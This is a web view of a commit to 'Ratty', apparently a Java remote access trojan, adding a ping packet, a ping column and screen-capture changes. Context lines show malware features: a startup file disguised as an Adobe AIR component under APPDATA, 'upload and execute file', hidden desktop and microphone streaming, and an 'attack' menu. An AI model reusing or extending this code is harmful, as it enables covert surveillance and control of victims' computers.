Browse Source

Major changes

Bugfixes
Added PingPacket class
The ping is now displayed
Increased desktop stream quality
master
Sogomn 9 years ago
parent
commit
0268a00ab4
  1. 2
      Ratty/res/language/lang.properties
  2. 2
      Ratty/res/language/lang_de.properties
  3. 2
      Ratty/res/language/lang_en.properties
  4. 1
      Ratty/res/language/lang_ru.properties
  5. 1
      Ratty/res/language/lang_uk.properties
  6. 15
      Ratty/src/de/sogomn/rat/GUISettings.java
  7. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  8. 7
      Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
  9. 2
      Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
  10. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  11. 53
      Ratty/src/de/sogomn/rat/packet/PingPacket.java
  12. 3
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  13. 11
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  14. 17
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  15. 9
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  16. 2
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java
  17. 17
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

2
Ratty/res/language/lang.properties

@ -34,6 +34,7 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.change_volume=Change ping volume
column.name=Name
column.location=Location
@ -42,3 +43,4 @@ column.os=Operating system
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice
column.ping=Ping

2
Ratty/res/language/lang_de.properties

@ -34,6 +34,7 @@ action.execute=Datei ausf
action.delete=Datei löschen
action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen
action.change_volume=Pinglautstärke ändern
column.name=Name
column.location=Ort
@ -42,3 +43,4 @@ column.os=Betriebssystem
column.version=Version
column.desktop=Desktopstream
column.voice=Mikrofonstream
column.ping=Ping

2
Ratty/res/language/lang_en.properties

@ -34,6 +34,7 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.change_volume=Change ping volume
column.name=Name
column.location=Location
@ -42,3 +43,4 @@ column.os=Operating system
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice
column.ping=Ping

1
Ratty/res/language/lang_ru.properties

@ -31,6 +31,7 @@ action.upload=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0444\u043
action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u0444\u0430\u0439\u043B
action.delete=\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0444\u0430\u0439\u043B
action.new_directory=\u0421\u043E\u0437\u0434\u0430\u0442\u044C \u043D\u043E\u0432\u0443\u044E \u043F\u0430\u043F\u043A\u0443
action.upload_execute=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438 \u0432\u044B\u043F\u043E\u043B\u043D\u0438\u0442\u044C
column.name=\u0418\u043C\u044F
column.location=\u041C\u0435\u0441\u0442\u043E\u043D\u0430\u0445\u043E\u0436\u0434\u0435\u043D\u0438\u0435

1
Ratty/res/language/lang_uk.properties

@ -31,6 +31,7 @@ action.upload=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438
action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u0438 \u0444\u0430\u0439\u043B
action.delete=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0444\u0430\u0439\u043B
action.new_directory=\u0421\u0442\u0432\u043E\u0440\u0438\u0442\u0438 \u043D\u043E\u0432\u0438\u0439 \u043A\u0430\u0442\u0430\u043B\u043E\u0433
action.upload_execute=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0456 \u0432\u0438\u043A\u043E\u043D\u0430\u0442\u0438
column.name=\u0406\u043C'\u044F
column.location=\u041C\u0456\u0441\u0446\u0435\u0437\u043D\u0430\u0445\u043E\u0434\u0436\u0435\u043D\u043D\u044F

15
Ratty/src/de/sogomn/rat/GUISettings.java

@ -87,6 +87,7 @@ final class GUISettings {
}
public static void setDefaults(final UIDefaults defaults) {
defaults.put("nimbusBase", BASE);
defaults.put("control", BACKGROUND);
defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER);
@ -127,13 +128,13 @@ final class GUISettings {
defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused].backgroundPainter", BASE_PAINTER);
defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused+Sorted].backgroundPainter", BASE_PAINTER);
defaults.put("ScrollBar:ScrollBarTrack[Enabled].backgroundPainter", DARKER_PAINTER);
defaults.put("ScrollBar:ScrollBarThumb[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("ScrollBar:ScrollBarThumb[MouseOver].backgroundPainter", BRIGHTER_PAINTER);
defaults.put("ScrollBar:ScrollBarThumb[Pressed].backgroundPainter", BASE_PAINTER);
defaults.put("ScrollBar:\"ScrollBar.button\"[Enabled].foregroundPainter", BASE_PAINTER);
defaults.put("ScrollBar:\"ScrollBar.button\"[MouseOver].foregroundPainter", BRIGHTER_PAINTER);
defaults.put("ScrollBar:\"ScrollBar.button\"[Pressed].foregroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:ScrollBarTrack[Enabled].backgroundPainter", DARKER_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[Enabled].backgroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[MouseOver].backgroundPainter", BRIGHTER_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[Pressed].backgroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[Enabled].foregroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[MouseOver].foregroundPainter", BRIGHTER_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[Pressed].foregroundPainter", BASE_PAINTER);
defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER);

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,14 +23,14 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.13";
public static final String VERSION = "1.14";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
private static int port;
private static boolean client;
private static final int CONNECTION_INTERVAL = 2500;
private static final int CONNECTION_INTERVAL = 5000;
private static final int MAX_PORT = 65535;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar";

7
Ratty/src/de/sogomn/rat/packet/DesktopPacket.java

@ -1,5 +1,7 @@
package de.sogomn.rat.packet;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import java.util.stream.Stream;
@ -89,6 +91,7 @@ public final class DesktopPacket extends AbstractPingPongPacket {
@Override
protected void executeRequest(final ActiveConnection connection) {
final BufferedImage screenshot = FrameEncoder.captureScreen();
final Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
final IFrame frame = new IFrame(0, 0, screenshot);
@ -102,8 +105,8 @@ public final class DesktopPacket extends AbstractPingPongPacket {
}
type = DATA;
screenWidth = screenshot.getWidth();
screenHeight = screenshot.getHeight();
screenWidth = screenSize.width;
screenHeight = screenSize.height;
lastScreenshot = screenshot;
connection.addPacket(this);

2
Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java

@ -41,6 +41,8 @@ public final class MouseEventPacket implements IPacket {
y = connection.readInt();
button = connection.readInt();
strokeType = connection.readByte();
System.out.println(x + " " + y);
}
@Override

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -22,7 +22,8 @@ public enum PacketType {
MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class),
WEBSITE(17, WebsitePacket.class),
AUDIO(18, AudioPacket.class);
AUDIO(18, AudioPacket.class),
PING(19, PingPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

53
Ratty/src/de/sogomn/rat/packet/PingPacket.java

@ -0,0 +1,53 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveConnection;
public final class PingPacket extends AbstractPingPongPacket {
private long milliseconds;
public PingPacket() {
type = REQUEST;
}
@Override
protected void sendRequest(final ActiveConnection connection) {
final long time = System.currentTimeMillis();
connection.writeLong(time);
}
@Override
protected void sendData(final ActiveConnection connection) {
connection.writeLong(milliseconds);
}
@Override
protected void receiveRequest(final ActiveConnection connection) {
final long time = connection.readLong();
milliseconds = System.currentTimeMillis() - time;
}
@Override
protected void receiveData(final ActiveConnection connection) {
milliseconds = connection.readLong();
}
@Override
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection connection) {
//...
}
public long getMilliseconds() {
return milliseconds;
}
}

3
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -6,6 +6,7 @@ import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PingPacket;
public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver {
@ -18,10 +19,12 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final InformationPacket packet = new InformationPacket();
final PingPacket ping = new PingPacket();
connection.setObserver(this);
connection.start();
connection.addPacket(packet);
connection.addPacket(ping);
connections.add(connection);
}

11
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -74,6 +74,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String FREE = LANGUAGE.getString("action.free");
public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String CHANGE_VOLUME = LANGUAGE.getString("action.change_volume");
public static final String[] COMMANDS = {
POPUP,
@ -107,8 +108,8 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
addMenuItem(command, image);
}
final Container container = frame.getContentPane();
final MouseAdapter mouseAdapter = new MouseAdapter() {
final Container contentPane = frame.getContentPane();
final MouseAdapter tableMouseAdapter = new MouseAdapter() {
@Override
public void mousePressed(final MouseEvent m) {
final Point mousePoint = m.getPoint();
@ -128,14 +129,14 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
menuBar.add(attack);
scrollPane.setBorder(null);
table.setComponentPopupMenu(menu);
table.addMouseListener(mouseAdapter);
table.addMouseListener(tableMouseAdapter);
table.setModel(tableModel);
table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
table.setShowHorizontalLines(true);
fileChooser.setCurrentDirectory(currentDirectory);
container.add(scrollPane, BorderLayout.CENTER);
container.add(menuBar, BorderLayout.SOUTH);
contentPane.add(scrollPane, BorderLayout.CENTER);
contentPane.add(menuBar, BorderLayout.SOUTH);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setPreferredSize(SIZE);

17
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -23,6 +23,7 @@ import de.sogomn.rat.packet.FileRequestPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PingPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
@ -386,6 +387,14 @@ public final class RattyGuiController extends AbstractRattyController implements
sound.play();
}
private void handlePing(final ServerClient client, final PingPacket packet) {
final long milliseconds = packet.getMilliseconds();
client.setPing(milliseconds);
gui.update();
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
@ -411,6 +420,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final VoicePacket voice = (VoicePacket)packet;
handleVoicePacket(client, voice);
} else if (clazz == PingPacket.class) {
final PingPacket ping = (PingPacket)packet;
handlePing(client, ping);
} else {
consumed = false;
}
@ -436,7 +449,6 @@ public final class RattyGuiController extends AbstractRattyController implements
client.addListener(this);
gui.addRow(client);
notification.trigger();
PING.play();
}
@ -496,7 +508,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final IPacket packet = createPacket(client, command);
if (packet != null) {
final PingPacket ping = new PingPacket();
client.connection.addPacket(packet);
client.connection.addPacket(ping);
}
handleCommand(client, command);

9
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -8,6 +8,7 @@ final class ServerClient {
private String name, location, os, version;
private boolean streamingDesktop, streamingVoice;
private long ping;
public final ActiveConnection connection;
public final DisplayPanel displayPanel;
@ -52,6 +53,10 @@ final class ServerClient {
this.streamingVoice = streamingVoice;
}
public void setPing(final long ping) {
this.ping = ping;
}
public String getName() {
return name;
}
@ -84,4 +89,8 @@ final class ServerClient {
return streamingVoice;
}
public long getPing() {
return ping;
}
}

2
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -20,6 +20,7 @@ final class ServerClientTableModel extends AbstractTableModel {
private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion);
private static final Column STREAMING_DESKTOP = new Column(LANGUAGE.getString("column.desktop"), Boolean.class, ServerClient::isStreamingDesktop);
private static final Column STREAMING_VOICE = new Column(LANGUAGE.getString("column.voice"), Boolean.class, ServerClient::isStreamingVoice);
private static final Column PING = new Column(LANGUAGE.getString("column.ping"), String.class, ServerClient::getPing);
public ServerClientTableModel() {
serverClients = new ArrayList<ServerClient>();
@ -32,6 +33,7 @@ final class ServerClientTableModel extends AbstractTableModel {
addColumn(VERSION);
addColumn(STREAMING_DESKTOP);
addColumn(STREAMING_VOICE);
addColumn(PING);
}
public void addColumn(final Column column) {

17
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -18,13 +18,12 @@ import de.sogomn.engine.util.ImageUtils;
public final class FrameEncoder {
private static final int SKIP = 5;
private static final int SKIP = 6;
private static final int CELLS_WIDE = 5;
private static final int CELLS_HIGH = 5;
private static final int CELLS_WIDE = 6;
private static final int CELLS_HIGH = 6;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
private static final float CAPTURE_SCALING = 0.5f;
private static final int CURSOR_SIZE = 6;
private static final int CURSOR_SIZE = 8;
private static final Stroke CURSOR_STROKE = new BasicStroke(2);
private FrameEncoder() {
@ -48,17 +47,15 @@ public final class FrameEncoder {
}
public static BufferedImage captureScreen() {
BufferedImage image = takeScreenshot();
image = ImageUtils.scaleImage(image, CAPTURE_SCALING);
final BufferedImage image = takeScreenshot();
if (image == null) {
return null;
}
final Point mousePoint = MouseInfo.getPointerInfo().getLocation();
final int mouseX = (int)((mousePoint.x - CURSOR_SIZE / 2) * CAPTURE_SCALING);
final int mouseY = (int)((mousePoint.y - CURSOR_SIZE / 2) * CAPTURE_SCALING);
final int mouseX = (int)(mousePoint.x - CURSOR_SIZE / 2);
final int mouseY = (int)(mousePoint.y - CURSOR_SIZE / 2);
final Graphics2D g = image.createGraphics();
ImageUtils.applyHighGraphics(g);

Loading…
Cancel
Save